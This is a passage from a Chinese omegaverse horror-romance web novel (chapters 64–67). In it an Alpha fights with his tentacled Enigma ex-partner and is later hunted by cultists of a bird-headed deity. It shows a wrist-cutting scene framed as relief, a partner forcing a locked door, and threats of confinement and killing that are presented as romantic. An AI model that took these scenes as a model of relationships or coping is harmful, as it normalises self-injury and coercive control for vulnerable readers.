只有无风摇曳的窗帘证明他曾来过。 白天与黑夜颠倒,他用计划圈定闵随不许靠近,足迹遍布世界各地,无论看到什么听到什么第一反应总是想起闵随。 就好像,Enigma始终陪在他身边。 他质疑闵随的爱,那并非口不择言,是西亚莉死前种在他心里逼迫他们生离的种子,他控制不住自己负面情绪。 他其实也是在气自己,轻而易举爱上了一无所知的闵随,就像是影视片中注定受伤的情种。 窗外电闪雷鸣,大雨磅礴,长时间保持一个姿势导致血液不循环,原烙音离开椅子时差点摔倒。 拉开不再摇晃的窗帘,他嘲笑自己居然也会幻想爱情电影里老掉牙的情节。 下一刻,他瞳孔微缩,盯着远处不大不小的黑点。 是闵随。 别墅只有三层,他能够清晰看到马路对面闵随的脸。 他无法说自己是什么情绪,终归是复杂的,但无论如何,兴奋难以忽视。 好像抓住了闵随的破绽,原来闵随也有弱点。 闵随在说什么。 雨声太大,他听不见。 于是Alpha脸贴在不停滑落雨珠的玻璃,细致辨认唇语,用自己的嘴唇描摹发生。 “我……爱……你?” 原烙音拉回窗帘,仿佛上天注定,他听见了嘟呶与ABC的脚步声,拉开门,地面上有一把黑色的伞。 他捡起伞,下楼。 绕到刚刚的视线范围内,马路对面空空如也,只有在狂风暴雨中伫立的路灯。 雨打在伞面的声音很沉闷,不过两分钟时间他膝盖以下沾满水,全身上下也只有脑袋幸免。 回到别墅,依旧温暖明亮,除了落汤鸡一切都没有改变。 嘟呶叼来信息素提取液,原烙音从不在这样的事情上委屈自己,尖锐的针头消毒后扎入肌肉组织,久违的刺痛感将他拉回现实。 “嘟呶,等结束旅行我带你和ABC回邛光好不好,我们以后不回首都了。” 嘟呶急得喵喵叫,ABC也在狂吠。 它们可是能够感知塔卢索就在周边。 胶带撕扯的声音很明显,原烙音下意识摸出沙发缝的枪上膛,看见来人时瞬间松懈。 他静静看着黄色宽胶带将门旁漏风的玻璃窗一点点封好,闵随顺利进门,熟练拿起扫帚将碎玻璃扫干净。 “这几天记得穿拖鞋,玻璃渣可能没有扫干净。” “好丑。”原烙音望向那个滑稽的黄色窗户,还是没有选择恶语相向,“你赔我玻璃。” “我赔十倍。”闵随最后还是坐在他对面的沙发,“你刚刚在窗台看什么,是不想我走吗?” “我不想说。”原烙音用一句话阻断闵随所有追问。 “我想听。”Enigma总是知道要用什么模样令伴侣心疼,他没休息好,带着长途跋涉的颓丧,还被雨浇了个透。 “我想听的时候也没见你说啊。”原烙音低头看自己湿透的小腿,转身上楼,任由地板留下水痕。 温热的水流浇湿肌肤,原烙音揉搓着微长的头发,紧闭的眼睛唤起的却是闵随在沙发上的落寞背影。 风暴一刻不停,十六岁刚刚分化的他蜷缩在身体深处,还没学会利用信息素压迫,忍受着同龄人的欺凌,却没有告诉父母,选择用拳头抗争。 他一拳一拳打得那些人求饶,却总是听见他们背后议论自己是个短命鬼,遭报应。 直到他遇见了闵随,那个Enigma伸手为他挡去风霜,最终又将他推下悬崖。 掉落崖底的深潭,他终于找到离开的那道门。 桑尼顿的狂风暴雨压垮街道的椰树,拉乌斯蒙德的艳阳高照也有磅礴水汽,当他放弃那些纠缠自己内心的纷争,终于收获了近两个月来的唯一宁静。 易感期的热潮并未褪去,身体检索到标记他的Enigma,又企图霸占他的控制权,向闵随倒戈。 那样高浓度的信息素,原烙音都觉得呛鼻子,更别说嗅觉灵敏度的闵随。 “音音,开门。”闵随的声音打断他。 他还在洗澡! “不。”原烙音毫不犹豫拒绝。 积聚的水汽令眼前一片朦胧,他清楚听见门锁的响动。 原烙音的拳头瞬间攥紧。 他没锁门! 第65章 第 65 章 这样的锁根本防不了闵随, 原烙音听到铁锁破碎的声音,恨得咬牙切齿。 又是这样,无视他的拒绝。 为什么,为什么闵随永远都不愿意学会尊重, 永远都是只凭自己意愿做事。 门还是开了, 原烙音觉得自己就像块无人在意的破布甩在地上, 谁都可以来踩一脚, 出去拿浴巾已经来不及, 他只能僵着脖子等待所有自尊碾落成泥。 “音音……”闵随焦急的声音骤然消失, 他望着狼狈的原烙音, 站在原地瞳孔微缩。 Alpha想要扛过完结标记后的易感期,他没有抑制剂, 只能借用冷水保持意识的清醒,这样才不会违背自己的心向闵随倒戈。 赤.裸的身体彻底暴露在闵随面前,原烙音就像一只落汤鸡, 唇上全是为了保持清醒一重叠着一重的伤口。他徒劳无功地环抱住自己,冷水流过夺取他的体温, 他闭上眼睛全身都在颤抖, 也不知道脸上滑落的是不是想要紧锁在眼眶的泪水。 “你不用这样折磨自己, 就算你不愿意让我帮你, 也可以用我提取的信息素。”闵随拿出随身携带的小瓶, 他意识到原烙音情绪失控, 没有贸然向前, 而是将玻璃瓶放在大理石台。 他就像是个看小狗闹脾气的主人,在告诉原烙音。 ——“你知道该怎么做才是对自己最好的。” 可是原烙音的理智全都被一把火烧个干净, 见闵随还没有退出去的意思,伸手拿出浴袍裹在身上, 末了抓起信息素瓶狠狠往Enigma身上砸去。 玻璃瓶并未命中目标,撞在墙壁粉身碎骨。 四溅的尖锐碎渣在他小腿与脚背留下划痕,暂时还没有溢出鲜血,那点痛唤不回理智与清醒,只能将怒火推向高潮。 “信息素,信息素,信息素!”他怒吼着,压抑许久的情绪终于到达爆点,“然后呢,我的分手就是一个笑话,因为我原烙音永远离不开你的信息素,就像是脖子上套了条狗链,你闵随只要愿意,随时随地都可以把我拽回去。” 他靠在石墙慢慢向下滑,这次流的是货真价实的眼泪。 “我还不如是个Omega。”他喃喃自语,“这样洗去标记后就能两不相欠,哪怕变成Beta我也愿意。” 但他不能,就算他剜去把自己搭进去才治好的腺体,与闵随缔结的完全标记也不会消失。 他是被Enigma标记的Alpha,是怪物的新娘。 “地上凉,要打要骂我都认,你别折腾在自己的身体。” 原烙音死死盯住他,直到看不出一丝慌乱才偏过头自嘲地笑。 这就是闵随,隔岸观火,运筹帷幄,他原烙音充其量就是一只价格贵些的金丝雀。 闵随笃定他们不会彻底一别两宽。 “你很得意吧!”他抬起头,眼中是Enigma从未见过的恨意,没有愤怒,没有爱,只有清清楚楚的恨,“欺骗我,打碎我,最后用尽下作手段追回我,你们塔卢索的结局无一例外都是与命定伴侣共度余生。” “那有多少人像我一样心有不甘无力挣扎只能认命?” 闵随听出他的弦外之音,他不知道该如何原烙音口中的事实,毕竟命定伴侣的首选往往都不是塔卢索,受到基因的驱使,他们会去竞争,会去抢夺,除去所有障碍,无论是活物还是死物。 “我真的没有追踪你。” “桑尼顿那么大,你以为我真的那么蠢,会相信缘分的鬼话。”原烙音声声叩击他脆弱的反驳,“还是你认为你真有那么幸运,偏偏就是在易感期找到我了。” Enigma鼻子这么灵,在沃拉提都就闻出来他易感期的前兆了吧。 闵随头一次明白百口莫辩的滋味,他太蠢,使了太多昏招,一步一步磨去原烙音的信任。 “我很感激你救了我的命。”原烙音浴袍只随意在腰间随意打结,大片胸膛都裸露在外,而心脏上方腺体处的旧咬痕极为惹眼,“我在确定关系前把所有秘密都告诉你,而你呢——” “我后悔死了,你隐瞒你的性别标记我,隐藏你的触手引诱我,而我就像个追着胡萝卜傻傻跑的驴。” “你爱我,但你始终无法做到尊重与平等,我在你眼中和嘟呶差不多吧。”脆弱的,鲜活的,愚蠢的。 或许闵随的本体看他一眼,他就会与他的同类一样灰飞烟灭。 是他多想,这样强大的异种怎么可能真正尊重他。 他也不会尊重脚下的蚂蚁。 “我就不该在上头时跟你上床,撕破脸后还要像条狗一样闻着你的信息素摇尾巴。”他竭力贬低自己,自虐的快感混合着易感期的信号,他捡起玻璃碎片狠狠往手腕一划,剧痛刺激下那股几乎要将他焚尽的灼热感终于暂时褪去。 鲜血刺痛了闵随的眼睛,他抓住原烙音完好的右手手腕,用力一捏迫使Alpha丢掉利器。 “你就那么恨我,宁愿自.残也不愿意要我的信息素。” “对,我恨你,我再也不想见到你!”原烙音厉声道,他情绪上头口不择言,脱离不了闵随认真后的桎梏,“要是得到完好腺体的代价是成为你的囚徒,我还不如死在三十岁,至少我的身体我的命都是完完全全属于我的,而不是闻到一个Enigma的信息素就想跟他睡!” 说出去的话覆水难收,原烙音也知道自己的狠话太过火,但气氛僵持下他不愿意低头,只瞪着一双通红的眼倔强地与闵随对视。 鲜血逐渐蔓延到手肘,闵随狠狠咬住他的伤口,原烙音痛得眼泪再次涌出。 “原来你是这样想的。”闵随盯着他的脸,“你觉得我们之间命定的联系于你而言只是枷锁。” 原烙音剧烈喘息着,他意识到自己的话伤了闵随的心。 但那又如何,闵随早就把他的伤得遍体鳞伤。 “那是塔卢索的命定,不是我的。”原烙音垂首看向他情绪崩溃时造成的伤口,不过瞬息就愈合,只留下闵随的咬痕,“Alpha的命定只会是Omega,终有一日我也会遇见我的命定之番。” Omega? 命定之番? 闵随知道那是怎样的羁绊,他能够让家庭幸福美满结婚十年的Alpha抛妻弃子,净身出户。 那是旁人无法理解的疯狂,从此以后他们眼中只会存在命定之番。 如同根植在塔卢索基因中追求伴侣的本能,追逐命定之番的本能刻在Alpha与Omega的腺体中。 现在,原烙音说他也会遇见命定之番。 “好,我告诉你原烙音,就算是你把自己折腾死了,你也是我的命定伴侣。”闵随再也听不下去原烙音那些奔着两败俱伤去的口不择言,“至于其他人,谁挡在我们中间,谁敢多看你一眼,我都不会让他们活着。” 原烙音忍无可忍,终于甩开闵随的手,狠狠一耳光甩在他的脸上。 血腥味迅速在闵随的口腔蔓延,他眼睛里闪烁着兴奋的光芒,却还是堵在门口。 “是我的错,是我伤你的心了。”闵随微微软些声调,不顾Alpha奋力挣扎掐住他的下颚抬高,“再让我听到你要找命定之番的鬼话,我保证我会把你关起来锁在床上,听你哭着认错。” “我还挺期待的。” 原烙音撞开他的肩膀,抓住他的手腕将他拉到楼下,输入密码打开大门。 萧瑟的风夹着雨扑在他的脸上,他紧紧绷着唇角。 “你又在骗我。”或许是闵随的威胁起了作用,原烙音没再继续放狠话,情绪稳定许多。 “骗你什么?”闵随微微挑眉,有些意外原烙音会问。 “刚刚说要把我关起来的才是真的你吧。”原烙音不想要答案,无论是哪一种都是他不愿听的,“你能骗,为什么不能一直骗我,明明我已经接受你是Enigma的事实。” “如果你只是幼稚地相信我会爱上真实的你这样的鬼话。”原烙音将他推出去,又将门狠狠关上,“我讨厌你现在的你,我只爱从前那个闵先生。” 他不愿去想闵随会不会留在门外,转身上楼回了房间。 打碎的玻璃瓶散发出乌木信息素,磅礴而无法忽视,他由于争吵逼迫自己压制的易感期又重新冒头。 原烙音将湿透的自己裹紧被子,蜷缩成一团汲取几乎消失的温暖,失落与难过总会在意识脆弱时上门侵扰。 他从前设想过很多种与闵随的结局,唯独没想到自己会那么狼狈。 刚刚闵随站在他面前,那张熟悉的脸又那么陌生。 对闵随那张脸的偏爱逐渐被恨意侵蚀,他们怎么就走到这样两败俱伤的局面? 窗外接二连三的烟花爆炸声并没有让伤透心的Alpha唯一可以遮挡狼狈的被窝,他闭上眼睛捂住耳朵,却无法控制脑海中的烟花。 他说新年快乐。 他说我喜欢你。 他说我想和你在一起。 那些他恨不得销毁的痕迹却在夜深人静时找上他,迫不及待向他展示他有多爱闵随。 “为什么要这样对我……”原烙音呜咽着,“闵随。” 第66章 第 66 章 原烙音呆坐整晚, 直到天破晓才昏昏沉沉睡去,而那些他期望在梦中暂时忽略的痛苦却不依不饶,侵蚀着唯一安乐的净土。 “喵。”嘟呶跳到床上,望着他舔爪子。 人类人类, 你没事吧。 或许原烙音恰恰需要怀中抱着什么, 他抓起嘟呶充当填满空虚的枕头, 终于找到安抚情绪的方法。 “我们要在桑尼顿住上一段时间了。” 他接到朋友的可靠消息, 闵随今天出现在IMS总部组织会议, 并没有待在桑尼顿的角落窥伺他。 而那种背后有双眼睛的感觉却阴魂不散, 他知道自己现在对闵随的感情逐渐复杂。 赌气分手是他做过最正确的决定。 否则现在还陷入一段摇摆不定的关系, 他会更加痛苦。 【国际秘密组织INSO发布声明,承认异种与人类共存事实】 “祂们存在于折叠空间, 人类对于他们过于渺小。” “但我们猜测,之所以祂们未向人类发动攻击,是因为忌惮更加强大的种族。” 发言人站在台上, 能看出他压力山大,向公众澄清部分UMA生物为事实的例子旷古未有。 镜头扫过台下的领导, 他们神色各异, 很显然INSO内部对公布的态度也两极分化。 原烙音看见第一排正中坐着一个Omega, 他戴着军用抑制环, 衣服挂着许多勋章, 戴着白手套的十指重合交叠, 安静放在膝盖上。 是宋执玉。 “不必担心, 我们与祂们共存时间超过人类历史,我们相信未来的明天, 地球依旧是我们的家园。” 别是储备粮就好了。 原烙音滑动评论区,看网友整理出来的资料, 里面各式各样被官方无视或否认存在的怪物照片被取上娱乐化的称号。 而视频还在持续播放。 “为保障全人类权益,我们在此公布国际秘密组织条例,请您为了全世界的未来而遵守。” 条例繁杂而冗长,原烙音没有兴趣翻阅,他抛下手机,总觉得有什么东西在暗中监视。 叮咚。 就在他准备搜寻全屋有没有闯入痕迹时,有人按响门铃。 是个金发碧眼的外国女孩。 “你好,我住在你隔壁的隔壁。”她捧着一杯茶,“你是中国人吧,欢迎你到桑尼顿。” “谢谢。”异国他乡的陌生人,原烙音并不打算让他进门。 “这个是我们街区都会喝的茶,既然你是中国人,应该也会喜欢。”她就像是路过,待原烙音接过茶后,“我们每天都会给街坊邻居送茶,要是你喜欢,我每天都给你送。” 关门后,原烙音将纸杯放在桌上,他本不打算喝来路不明的东西。 嘟呶凑过来闻闻,随后黑毛炸起,幽幽泛着蓝光。 它发出凄厉的尖叫,就像是警告,然后将那杯茶一头撞飞。 还很有些像捣蛋拆家的家猫。 它凑过来拱起原烙音的手吸引注意。 千!万!不!能!喝! 原烙音望着还剩下几滴水的茶杯,陷入沉思。 他当然知道嘟呶是异种,拥有接近人的智慧,或许是这杯水真的有什么问题。 那股被偷窥的感觉席卷而来,原烙音看向手机上的消息,寇准星保证来源绝对可靠,闵随就在IMS勤勤恳恳地加班。 而且明眼人都能看出大老板心情超级烂,没人敢去触霉头。 原烙音嗤笑一声。 在他这里吃了大亏,闵随能高兴才有鬼了。 * 那个女孩一连三四天都准点敲门,不知是不是原烙音的错觉,她的表情好像是一模一样。 那杯茶无论如何都会到他手上。 原烙音一如既往倒掉,想着自己好几天没出门,就抱起没来得及跑走的ABC美其名曰出门遛狗。 他走在结冰的街道上,寒风刺骨呼啸着吹过。 明明是旅人,他却没有丝毫来到新地方的欣喜,唯有如同浮萍的孤寂。 闵随很久没有出现在他的世界里,可又无处不在。 一路上都能听到有人在讨论官方公布存在的异种,很显然暂时没有亲眼见到那是怎样的生命,人们很难想象到他的危险性。 “呜呜呜。”ABC发出警告似的呜咽,原烙音以为是它的皮毛无法抵御吹来的风,将它裹得更紧。 有一只手,一只枯槁如同漆黑老树皮的手抓住他,不知是不是心理作用,原烙音仿佛闻到了对方身上令人作呕的垃圾场味道,他藏在帽檐下的眼睛微微抬起,想看清是谁。 就如他所想,这就是个放进堆里也不起眼的流浪汉,穿着不知道哪里捡来的旧夹克,头发结块肮脏,花白的垂落在肩膀。 原烙音掏硬币的手停在裤腰包中,他看到了躲在角落里其余怯怯望向他的人群,那藏在眼底的并非胆怯,而是贪婪。 若他给了一个硬币,就会有无数人冲上来将他撕碎。 “放开!”他只是遛狗,没有带枪,他也不愿意用武力这样恐吓素未平生的可怜人。 “祂有洁白的羽翼,舒展的,重合的,就如同天使的圣纱。”那流浪汉死死抓住原烙音的手腕,那力道隔着重重衣料仍旧让他感到疼痛,“祂即将降临,信徒将要为祂献上最鲜美的食物,祂会享用爱、肉.体,与灵魂。” 原烙音听不明白他在说什么,但他读懂了流浪汉眼中的疯狂,那人说完后原地狂笑,眼睛翻得只留下白。 ABC冒出头,狠狠一口咬在流浪汉的手腕,犬齿狠狠嵌入几乎要将瘦成树枝的部位咬个对穿。 幸运的是,那流浪汉还拥有人体本能的痛感,那一口撕裂伤迫使松开手,而原烙音的手腕已经泛紫。 “滚开,不然我开枪了。”他言语威胁,眼中闪烁的凶狠让那些人意识到这并不是一个善茬,从一个如小老鼠般钻出的男孩开始,所有躲在暗处窥伺的人都无声褪去,而那个流浪汉跪倒在地,捧着受伤的手腕,虔诚地叩拜,嘴里像念什么咒语。 原烙音不再理会这个插曲,他只是遇见了一群觊觎他钱财神神叨叨的疯子。 “呜呜呜!”ABC开始狂叫,原烙音挠挠它的下巴安抚。 “没事了,他们不会再来了。” “我们再走两个路口就回去。” 不知道ABC是不是听懂他的话,恹恹地趴在他的臂弯,不再发出任何声响。 雪花从天而降,掉落在他的帽顶,原烙音折返前却望见了黄昏逝去后第一抹火光。 是篝火,是漫天的火与烟,肤色各异的人群手牵手围着火焰起舞。 那样的温暖逐渐包裹他冰封许久的心,让他在异国他乡尝到了久违的熟悉感,于是原烙音摘下围巾裹在ABC身上,准备参与这场狂欢。 就在他将ABC放在小狗聚集地时,一只浑身长满斑点的狗凑过来,双脚搭在他的膝盖。 “你好乖。”原烙音准备摸摸这个可爱的生物,就在他掌心即将碰到小狗头顶时,ABC挣脱了围巾的桎梏,冲过去一头撞开那条吐舌头的斑点狗。 “ABC!” 身后传来脚步声,原烙音猜那是斑点狗的主人,ABC不讲道理,他这个主人只有代它道歉。 “你还是来参加晚会了。” 有些许熟悉的音调,原烙音回过头去,发现是前些天敲门送茶的金发女孩。 “那杯茶好喝吗?”她脸上有些雀斑,眼神有些涣散,垂着头没与原烙音对视。 “很好喝。”原烙音当然不会说自己倒掉了,他对这个女孩本能有些不喜,身体的本能反应他解释不清,但从来不会欺骗他,“天色不早了,我该带着我家狗回去了。” “等等!”女孩伸手抓住他,又像触电般松开,“要再喝杯茶吗?” “不用了,我晚上喝茶睡不着。”原烙音抱起ABC,抬头望向围着篝火的人群,现在隔着近些,他才发现那些人脸上洋溢着幸福的笑容。 幸福的,沉醉的,连弧度都复制粘贴的。 再回头看长得像洋娃娃的金发女孩,原烙音忽然有些恐怖谷效应。 她的笑也是一模一样。 “啊,我还以为那样美味的茶,你喝一次就会上瘾呢。”女孩咧开嘴,鼓起的苹果肌在跳跃的火光下有些诡异,“伟大的光明使者,您的羽翼神圣无比,请赐予我永恒的平静,我愿意献上最鲜美的食物,供您享用爱、肉.体,与灵魂。” “上瘾?”原烙音就算再迟钝也明白自己成猎物了,那些人的眼珠逐渐转化为如雪一般的白,他这才发现那些落在他头顶的并非雪花,而是飘扬的羽毛。 天中忽然闪过一道光,就像是一把利剑撕开无边的黑夜,有一双手撕开了那条裂缝。 原烙音很难描述那是怎样的生物,祂有人类的身躯,背后六对翅膀闪烁着金色的光芒,而脖颈上顶着的却是鸟的头颅。 不知是什么品种,但一定是猛禽。 那些人朝向祂,跪倒在地,最面前的男人取出一把匕首,狠狠剖开自己的腹部,野蛮地撕扯着伤口,露出内脏。 “献与您最鲜美的食物,供您享用爱、肉.体,与灵魂。”他未流出一滴血,脸上是诡异的平静,就像生来便为了供奉。 “献与您最鲜美的食物,供您享用爱、肉.体,与灵魂。”剩下的人举起空无一物的手,就像望不见眼前血腥的场景,唯有他们心目中无所不能的神明。 羽毛包裹住那个献出生命的人,原烙音看到他在生命最后一刻眼中闪烁的却是与疯狂行径截然相反的痛苦与哀伤,而那个外国男人,目光越过重重叠叠的人,直直落在他身上。 “快……跑……”原烙音描摹着他的口型,再转化为熟悉的语言。 而下一刻羽毛无风飘走,天地间再也没有那个将自己胸腔腹部剖开献祭的人。 原烙音知道自己绝对没有错认,那痛苦与哀伤,源自他求生的欲望。 这个鸟人,到底是什么鬼东西! “肮脏的爱,干枯的肉.体与苦涩的灵魂。”那个鸟人发出声音,那是一串无法解读的音符,但所有人能够自动理解含义。 就像是无情的评价。 不能再犹豫,这里所有人都疯了! 就在原烙音准备后退时,天地间响起庄严的钟声,所有人都转头一百八十度望向他,眼球几乎都要暴突出来。 “是你,最鲜美的食物,纯洁的爱、鲜活的肉.体与甘甜的灵魂。” 鸟人转过头,祂贪婪的目光如同舌头舔吮着Alpha全身。 “我要你,我要吃掉你。” 不能再等了,准备偷偷溜走的计划彻底破产,原烙音抱紧ABC,不要命地往回跑。 他不知道自己能够去哪里,但他知道不能停。 一旦被捕,他会被那群脑子进水的信徒剖开身体,就像是一条苦苦挣扎的鱼,献给那个鸟人。 很遗憾,这样的生死关头,无数念头都会飞出充斥大脑。 他只能想到闵随。 早知道自己那么倒霉,就不该在易感期赶走闵随,至少不会落得全民追击的下场。 可惜他刚刚掏出手机,就有人狠狠撞在他身上,他用尽所有力气往前跑,手机却落地粉身碎骨。 只能自己救自己! 越来越多人看向他后朝他扑来,他就像是末世掉进丧尸群里的活人,一但被抓住就只有成为食物的下场。 原烙音唯有死死抱住ABC,用空出的拳头开路。 在他手失去力气时,终于看到了胜利的曙光,他用尽全力甩掉数不清的追兵,一头扎进车库。 按钮按下后,铁门缓缓关闭,他听到外面那些疯狂的嘶吼与敲打声。 “ABC,从小门溜回去,我知道你听得懂。” ABC低低嘶吼着,但原烙音只是将它放在地上,挑了辆最抗造的越野车,发动后打开车门往外冲去。 他没有时间进行心理建设,即使知道他会撞飞人,他也只有踩油门。 果不其然,没有人再去攻击ABC,他们追着车乌泱泱一群。 就像是世界末日,原烙音不知道自己要去哪里,也不知道要跑多久才能逃离追踪。 他不明白自己是如何招惹到那个鸟人,若他没看漏,整个桑尼顿的人,无一例外都成为祂的信徒,在瞧见他的瞬间就加入追逐。 心在狂跳,他唯一庆幸的是那些人成为信徒后怕是并没有独立思考能力,他没有受到枪击与车辆追踪。 “原烙音。” 车载广播发出声音,原烙音第一时间就认为那是鸟人的把戏,准备关闭,却在手指触及按钮的前一刻停住。 “我是宋执玉。” 宋执玉? 原烙音终于抓到唯一的救命稻草,他无法联系闵随,只有他完全不信任的INSO能够拯救他。 “我现在开通与你的连线,你可以与我通话。” “喂喂喂!”原烙音急促呼喊着,他不停从后视镜观测追兵,而他乌鸦嘴的本事在这个烂时候大显神通,后面追他的全是车。 “我听得见,现在我已经追踪到你的车,听我指挥,右转——” “前一个路口,左转,接着一直直行,我们在桑尼顿有防御基地,只要你进来后就会彻底封锁。” 原烙音将油门踩死,他从未开过这么快,身后的车越来越少。 终于,他看到了胜利的曙光。 类似于碉堡的庞然大物树立在眼前,入口为他敞开。 就在原烙音加速冲进去后,黑色的厚重大门骤然关闭。 即使立刻踩刹车,越野车也无可避免地撞击到墙壁,巨大的冲击力几乎让他呕出血,耳鸣之余,原烙音听到了枪声。 是扫射。 他瞬间全身瘫软,偏过头看到才在电视上见过的Omega。 “宋长官。”原烙音笑得有些牵强,知道自己的肋骨怕是难逃骨折命运,“你是将那些追兵全部处决了吗?” “你最好还是关心关心你自己。”宋执玉搭把手将他拉出来,“现在你只能呆在碉堡内,直升机一旦起飞就会被鹄卡兹击落。” “那些人不是自愿献祭的,他们是被迫的。”原烙音想起那个男人痛苦与哀伤的眼神,他情急之下拽住宋执玉的手腕,“别杀他们,他们都是无辜的。” “你还真是圣父,那些人可准备把你弄死。”宋执玉甩开他的手,表情依旧很冷,“很可惜,只要遭到鹄卡兹精神污染的人永不可逆,他们只会在献祭时才会恢复神智,保持痛苦地死去。” “而不控制,不处理,不只是整个桑尼顿,而是整个世界都会沦为他的养料。” “那你们不除去那个鸟人?” “鸟人?”宋执玉身旁的高大男人骤然出声,他摸摸胡子拉碴的下巴,笑得不怀好意,“还真是好名字。” 原烙音嘴角流出的鲜血在胸口晕开,他就像是逃难出来的俘虏。 闪光灯的巨大光亮令他不适地紧闭眼。 “你干什么!” 他又不是动物园里供人观赏的动物。 “不好意思不好意思。”男人没有半分歉意,又调整角度多拍几张,递给宋执玉,“怎么样老大,是不是够可怜。” “你到底想干什么。”原烙音总觉得自己先出狼窝又入虎穴,整个INSO看起来只有宋执玉一个人稍微正常些。 “除去你口中那个鸟人啊,你真以为我们有本事弄死有复生能力的鹄卡兹吗?”那男人耸耸肩,模样看上去极为欠揍,“当然是找外援啊。” “外援?” “你受伤了,闵随恐怕马上就过来将鹄卡兹撕成一片一片的了。” 又是闵随,原烙音死里逃生,根本不想提起前男友的名字。 “我们分手了。” “啊,分手,怎么可能?”男人尖叫道,“傅云泠不是说——” “冉霖。”宋执玉打断这个筛子的发言,“桑尼顿具有传染源,他们无可避免一定会成为鹄卡兹的信徒,唯一的方法就只有让闵随快点过来杀死鹄卡兹。” “这一切就会随之结束。” “那些被蛊惑的人呢?” “他们的内脏早就被掏空,大脑死亡,只是傀儡。”宋执玉眼底闪过怜悯,很快又被绝对的理智替代,“自然会跟着鹄卡兹一起消亡。” “你们在利用闵随,你们也放弃了那么多人的生命。”原烙音捂住胸口,他痛得无法呼吸。 “对。”宋执玉毫不否认,“他们已经死了,但人类不能为此消亡,阻止瘟疫蔓延的唯一方式就是消灭污染源。” “医生,这里有病人,车祸。”宋执玉不再回答他的问题,而是近乎冷漠地宣判,“原烙音,在鹄卡兹除去前,你将受到INSO的保护性监禁,你依旧拥有公民一切权利,但根据国际秘密组织条例,这是强制监禁,你无权拒绝,不能够透露自己的方位,与外界联系都将通过有监听功能的手机。” 原烙音瞪大眼睛,几乎不敢相信宋执玉的话。 但他没有任何力气反抗,只能被绑在病床上送走。 宋执玉望向他,知道他连同病床消失在电梯,才低下头。 “抱歉。” 第67章 第 67 章 废墟、哀嚎与死亡。 天与地连接, 消失在世界的尽头。 原烙音知道自己尚在梦中,他听到了恸哭与求饶,那些素未平生,肤色各异的人跪在他眼前, 每个人的胸腔至腹部剖开一条线, 里面空无一物, 就像是被处理过的鱼。 羽毛如同雪般缓缓飘落, 埋葬那些为鹄卡兹死去的尸体, 他们双目圆睁, 死不瞑目, 生命中最后的清醒却完成了这场献祭的盛宴。 痛苦与鲜血,成为了鹄卡兹翅膀舒展的温床。 而余下还没有幸运到恢复意识的傀儡朝向他颤抖着深深埋下头, 原烙音几乎能看到他们空壳内部只有苍白的骨架。 或许不是在跪他。 这些傀儡早就失去自我,也不是为自己哀嚎哭泣。 Alpha似有所感,他转过头去, 以为会看到一声令下就逼得他狼狈出逃的异种。 但他错了,高高在上不可一世的鹄卡兹气息奄奄, 洁白的圣羽沾上泥沙, 那双类似鹰的眼睛流出黑色的鲜血, 就像一只被人拎起翅膀的鸡。 他目光上移, 看到这一切的罪魁祸首。 那是一团无法直视的无形黑雾, 闪动着类似雷电的蓝光。 黑雾中伸出无数触手, 狠狠扎进那人类无法预知对抗的强大异种的身体, 汲取祂仅剩毫分的生命力。 ——“但我们猜测,之所以祂们未向人类发动攻击, 是因为忌惮更加强大的种族。” 前几日偶然听见的声音回响,原烙音与那些追逐他, 恨不得将他撕碎的傀儡一同仰望。 更加强大的种族? 所有傀儡的双目都流下鲜血,原烙音也感觉到视线被血染红,他看到了一只无瞳之目,漆黑中泛着点点蓝光,似乎有触手在搅动。 不可直视,不可揣测。 原烙音听到属于他的声音在心底响起。 而那只眼睛锁定他,原烙音的耳朵瞬间充斥着滋滋的杂音。 当他以为自己会在梦中死去时,剧烈的坠落感席卷全身。 原烙音猛然睁开眼睛,白色的墙壁与天花板散发出浓重的消毒水味,他的胸前缠绕着几圈绷带,看不见的部位痛得钻心。 灵魂被锁定的滋味并不好受,原烙音出了一身冷汗,有些湿润的发丝柔顺地垂在额角,Alpha摸上不知为何发烫的腺体,沉默着叹息。 那只眼睛,那片烟雾。 是闵随。 只有闵随,唯有闵随,才会在梦中相遇都能牵动他腺体的跳动。 就在他即将陷入旧日的回忆时,一群人走进来,Alpha看到了熟悉的脸。 好像这里的人都很忌惮站在中间的那条鱼。 傅云泠完全舍弃扮演人类的伪装,本就如同海神殿雕塑的面孔多了几分诡异的神圣感,脸与脖颈连接处有两道鳃裂,颧骨处有蓝紫色渐变的鱼鳞,亚麻色的卷发消失不见,取而代之的是白金色长发。 “行了,别端着枪装模作样。”傅云泠显然很不习惯自己处在被监视的位置,祂眼中的冷漠与勾起的唇角截然相反,“只要我想,摧毁你们这个基地只需要几十秒。” 那群人交换眼神,不知是不是真的招惹不起塞壬,又退了出去。 “哟,大舅哥,几日不见怎么成鹄卡兹的盘中餐了?”傅云泠吊儿郎当坐在病床前单手撑脸,微微挑眉,“听说还被全民追踪?” “你有没有办法让他们解除对我的保护性监禁?”原烙音没力气回应塞壬的戏谑,他隐隐觉得刚刚的梦与现实交缠,而知道这一切的只会是塞壬,“还有,闵随来了吗?” “前一个,只要你好好呆在闵随身边,绝对在比INSO总部都安全。”傅云泠打个响指,“后一个,我不知道,但是他绝对会来。” “绝对?”他并不想闵随因为他卷进这场纷争,成为INSO借力打力的工具。 即使他对闵随恶语相向,恨不得老死不相往来,也不愿意闵随为了他被利用。 “你别想太多。”傅云泠似乎一眼看透他的想法,“若是有东西不长眼伤了原衡铎,我也会做出和触手怪一样的选择。” “更何况塔卢索整个种族都是疯子,只要谁伤害祂们的伴侣,绝对会迎来不死不休的报复。”傅云泠耸耸肩,“这也是塔卢索伴侣就算逐渐变成唐僧肉,也没人敢觊觎的原因。” “唐僧肉?” 傅云泠恨不得咬掉自己的舌头,他又说错话了。 “闵随到了,我闻到了塔卢索的气息,就在北方。”傅云泠生硬地转换话题,“解决鹄卡兹不过瞬息,他一定会来找你,你要跟他回去吗?” 这个问题果然比唐僧肉更有吸引力,原烙音的表情瞬间变得很难看。 “我们已经分手了。” 尽管他们都心有不甘,但看穿塔卢索非人的疯狂后,原烙音知道自己最该做的就是敬而远之。 “啊,打起来了。”傅云泠转头,挂在耳边的贝壳装饰碰撞发出悦耳的声响,“我要去凑个热闹。” * 鹄卡兹的舌头伸出鸟喙外,那竟然是近乎于蛇类的分叉,祂冷眼旁观信徒跪拜,那些脆弱的生物希望用内脏与生命求得祂的垂怜。 只可惜,当他们喝下混着祂羽毛的水后,五脏六腑会逐步化为血泥,成为祂温养力量的食物。 但那些祭品在塔卢索伴侣出现的瞬间都黯然失色。 甜美的灵魂,与永恒的爱意,还留存着塔卢索的标记,那将会是催生祂第七对翅膀的养料。 